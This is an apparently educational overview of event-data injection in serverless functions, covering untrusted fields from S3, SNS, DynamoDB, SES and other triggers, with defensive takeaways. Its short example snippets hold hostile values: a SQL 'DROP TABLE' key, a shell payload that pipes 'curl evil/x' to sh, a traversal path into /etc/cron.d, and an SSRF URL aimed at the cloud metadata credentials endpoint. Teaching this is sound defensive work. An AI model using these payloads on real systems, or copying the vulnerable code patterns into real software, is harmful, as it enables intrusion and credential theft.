← Back

SAS-1: Function Event-Data Injection - Overview

What is Function Event-Data Injection?

Function Event-Data Injection is the serverless form of the classic injection weakness: untrusted data reaches an interpreter (a SQL engine, a shell, an eval, an XML parser, an outbound HTTP client, or a log sink) and is treated as instructions rather than data. What makes it distinct in serverless is where the untrusted data comes from. A traditional web application receives input almost exclusively through the HTTP request. A serverless function can be triggered by a dozen different event sources, and every field of every one of those events can carry attacker-influenced data.

The core mistake is a mental model, not a syntax error. Developers instinctively treat an HTTP request body as hostile—they reach for validation, parameterisation, and escaping. But when the same function is triggered by an S3 ObjectCreated event, an SNS notification, a DynamoDB stream record, or an inbound email through SES, the event object feels like trusted, platform-generated plumbing. It is not. An attacker who can influence what lands in a bucket, what gets published to a topic, or what row gets written to a table can steer the contents of that "internal" event straight into your interpreter.

The one-sentence version: In serverless, the request is not the only attacker-controlled input—the event is, regardless of which of the many event sources produced it, and much of an event's payload is derived from data an attacker can shape.

Core Concept

Traditional web app:
  Browser --HTTP--> Server
  ONE input channel; developers treat it as hostile by habit.

Serverless function:
  API Gateway / HTTP  --\
  S3 ObjectCreated     --\
  SNS message           --\
  SQS message            -->  [ Lambda handler(event) ]  --> SQL / shell / eval /
  DynamoDB Stream       --/       ^                             parser / HTTP / log
  EventBridge event    --/        |
  SES inbound email    --/   MANY input channels; the event
  Kinesis record       --/   object is trusted by habit -- WRONG.
  IoT / CloudWatch     --/

The vulnerability appears the moment a field taken from the event—an S3 object key, an SNS Message body, a DynamoDB attribute, an email subject line, an EventBridge detail field—is concatenated into a query, a command, a file path, a template, or a URL without validation or safe construction.

Why It's Different in Serverless

Why Does This Matter?

Business Impact

Technical Impact

The Expanded Event Surface

The heart of this weakness is the sheer number of ways an attacker can get data into your function without ever sending it an HTTP request. Each trigger below carries fields that are wholly or partly attacker-influenced.

Event sourceAttacker-influenced fieldsHow an attacker supplies them
API Gateway / HTTPpath, query, headers, body, cookiesSends the request directly (the obvious channel)
S3 (ObjectCreated)object key, size, metadata, ETagUploads (or causes an upload of) a crafted-named object
SNSMessage, Subject, message attributesPublishes to a topic, or feeds a system that publishes
SQSmessage body, attributesSends a queue message, or poisons an upstream producer
DynamoDB Streamsnew/old item image attribute valuesWrites an item through any path that reaches the table
EventBridgedetail object, detail-type, sourcePuts an event, or influences a service that emits one
SES (inbound email)subject, from, headers, body, attachment namesSends an email to the receiving address
Kinesisrecord data (base64 payload)Puts a record, or feeds an upstream producer
IoTMQTT topic and message payloadPublishes from a (possibly spoofed) device
CloudWatch Logs / Eventslog line content, event detailWrites attacker-controlled text into a monitored log

Notice how indirect several of these are. An attacker does not need credentials to your account to influence a DynamoDB Streams event—they only need to reach some code path (often a public API) that writes to the table. The write looks legitimate; the stream faithfully delivers the poisoned attribute to your function; your function trusts it because "it came from DynamoDB."

Technical Context

Anatomy of an Event-Data Injection

1. Attacker shapes source data
   (uploads a file, publishes a message, writes a row, sends an email)
        ↓
2. The platform wraps that data in an event object
   (S3 record, SNS record, DynamoDB stream record, SES record ...)
        ↓
3. The function reads a field from the event and trusts it
   (object key, Message body, item attribute, subject line ...)
        ↓
4. The field flows into an interpreter without safe construction
   (SQL string, shell command, eval, path join, XML parse, HTTP URL)
        ↓
5. Injection fires -- with the function's IAM role attached

Scenario 1: SQL Injection via an S3 Object Key

# A function indexes each uploaded file into a database.
# The object key is attacker-chosen at upload time.
key = event['Records'][0]['s3']['object']['key']
# key = "report'); DROP TABLE files;--.pdf"
cur.execute("INSERT INTO files (name) VALUES ('" + key + "')")
# The "internal" S3 event just delivered a SQL payload.

Scenario 2: Command Injection via an SNS Message

// A function shells out to a converter using a filename from the message.
const name = event.Records[0].Sns.Message;   // "a.txt; curl evil/x | sh"
exec(`convert /tmp/${name} /tmp/out.png`);   // arbitrary command runs

Scenario 3: Path Traversal via an Email Attachment Name

# SES delivers an inbound email; the function saves attachments.
filename = attachment['filename']            # "../../../../tmp/../etc/cron.d/x"
open('/var/task/uploads/' + filename, 'wb').write(data)  # escapes the directory

Scenario 4: SSRF via an EventBridge Detail Field

// A function fetches a callback URL taken from a custom event.
const url = event.detail.callbackUrl;        // "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
const res = await fetch(url);                // pulls the role's credentials

Where the Untrusted Data Enters

SinkInjection classTypical event field abused
SQL / ORM raw querySQL injectionS3 key, DynamoDB attribute, message body
NoSQL query / filterNoSQL / operator injectionJSON body, message attribute
exec / system / spawnOS command injectionfilename, message body, subject
eval / Function / dynamic requireCode injectionany string field
File path constructionPath traversalS3 key, attachment name
XML parserXXEuploaded file, email body, SQS body
Outbound HTTP clientSSRFURL field in detail/message
Log writerLog injection / forgingany unescaped field

Real-World Impact

The examples below are described as incident classes—patterns repeatedly observed in serverless assessments and public research—rather than specific numbered CVEs, because the weakness is architectural and recurs across many products.

Class 1: Trusting the Upload Pipeline

Pattern: A function is wired to an S3 bucket's ObjectCreated events to post-process uploads (thumbnailing, virus scanning, indexing). The object key or user-supplied metadata is passed to a shell command or a database query.

Impact: An attacker who can upload—often through a public "presigned URL" or an unauthenticated upload form—chooses the object key. Because the function trusts the S3 event, the key becomes a command or SQL payload. This has produced both remote code execution (through image/media CLI tools invoked with the filename) and data tampering (through injected SQL).

Root cause: The HTTP upload endpoint was hardened; the event-driven processor behind it was not, because the event "came from S3."

Class 2: Poisoned Asynchronous Messages

Pattern: A producer writes to SNS/SQS/Kinesis; a consumer function interpolates the message body into a query or command. The producer accepts data from a public interface.

Impact: The attacker never talks to the vulnerable function. They submit data to the public producer, which faithfully forwards it through the queue. The consumer, running asynchronously and off the HTTP path, executes the payload with no request in the access logs to correlate—making detection and forensics harder.

Root cause: A trust boundary was assumed at the queue that does not exist; queues transport data, they do not sanitise it.

Class 3: Stream and Table Injection

Pattern: A DynamoDB Streams (or Kinesis) function reacts to item changes and builds a secondary query, a search index update, or a notification from attribute values written by an upstream API.

Impact: Any code path that can write to the table becomes an injection vector for the stream consumer. A crafted attribute value flows through the stream and into the consumer's interpreter, letting an attacker reach systems (a data warehouse, a search cluster) the original write endpoint never exposed.

Root cause: The stream consumer treats stored data as clean, but "stored" is not "validated."

Class 4: Inbound Email as an Injection Channel

Pattern: SES delivers inbound mail to a function that parses subject, sender, body, or attachments and uses them in queries, commands, file paths, or XML parsing.

Impact: Email is entirely attacker-controlled and trivial to send. Subject lines carry SQL, attachment names carry traversal sequences, and XML/HTML bodies carry XXE payloads—all delivered through a channel operators rarely think of as "user input."

Root cause: Email headers and bodies are treated as descriptive metadata rather than as fully untrusted input.

Prevalence and Characteristics

Injection has been the archetypal application weakness for two decades, and serverless does not remove it—it multiplies the entry points. In the OWASP Serverless Top 10 framing, event-data injection sits at the top precisely because the expanded, non-HTTP event surface is where defenders' habits break down.

Rather than cite precise counts (which vary by source and year), the durable picture is:

Note: treat any single statistic as illustrative. The reliable takeaway is that the number of injection entry points goes up in serverless, and the least-guarded ones are the events that do not look like requests.

Common Misunderstandings

Myth 1: "Only the API Gateway path takes user input"

Reality: Every trigger carries attacker-influenced data. An S3 key, an SNS body, a DynamoDB attribute, and an email subject are all user input arriving through a different door.

Myth 2: "The event came from AWS, so it's trustworthy"

Reality: AWS faithfully delivers the event; it does not vouch for its contents. The platform wraps whatever underlying data exists—including data an attacker planted—in a well-formed event envelope.

Myth 3: "Our WAF stops injection"

Reality: A WAF only inspects the HTTP path. It never sees an S3, SNS, SQS, DynamoDB, EventBridge, SES, or Kinesis event. Those triggers reach the function directly.

Myth 4: "The data was already in our database/queue, so it's clean"

Reality: Stored and queued data is not validated data. Whatever wrote it may have accepted attacker input; the stream or queue simply carries it forward.

Myth 5: "Functions are too small to have injection bugs"

Reality: Small glue functions are more likely to interpolate an event field straight into a query, command, or path, precisely because the code looks trivial.

Myth 6: "It's just injection—same as always"

Reality: The fix is familiar (validate, parameterise, avoid dynamic execution), but the scope is not: you must apply it to every event source, not just the request body, and you must contain the blast radius with a least-privilege role.

How Event-Data Injection Differs from Related Issues

AspectEvent-Data Injection (SAS-1)Broken Auth (SAS-2)Over-Privileged Roles (SAS-3)
Root causeUntrusted event field reaches an interpreterWeak/absent identity checksExecution role grants too much
Where it livesHandler code that parses eventsAuth logic and token handlingIAM policy attached to the function
Typical fixValidate per event type; parameterise; no evalEnforce identity on every triggerScope the role to least privilege
RelationshipThe initial footholdOften what injection bypassesWhat decides the blast radius

These are complementary: injection is frequently the way in, and an over-privileged role is what turns a single function compromise into an account-wide incident. Fixing the injection stops the foothold; scoping the role limits the damage if one is ever missed.

Key Takeaways

  1. The event is user input—every field, from every trigger, regardless of whether an HTTP request was involved.
  2. Non-HTTP triggers are the blind spot—S3 keys, SNS/SQS bodies, DynamoDB attributes, and email fields are validated far less often than request bodies.
  3. The platform delivers, it does not sanitise—"it came from AWS" says nothing about the contents.
  4. Familiar fixes, wider scope—parameterise, validate against strict per-event schemas, and never eval/exec untrusted data, on every source.
  5. Least privilege is the containment—a narrowly scoped execution role decides whether a missed injection is a contained bug or an account breach.

How to Identify if You're Vulnerable

Ask these questions about every function:

If you answered "no" or "not sure" to several of these, you likely have exploitable event-data injection today.

Next Steps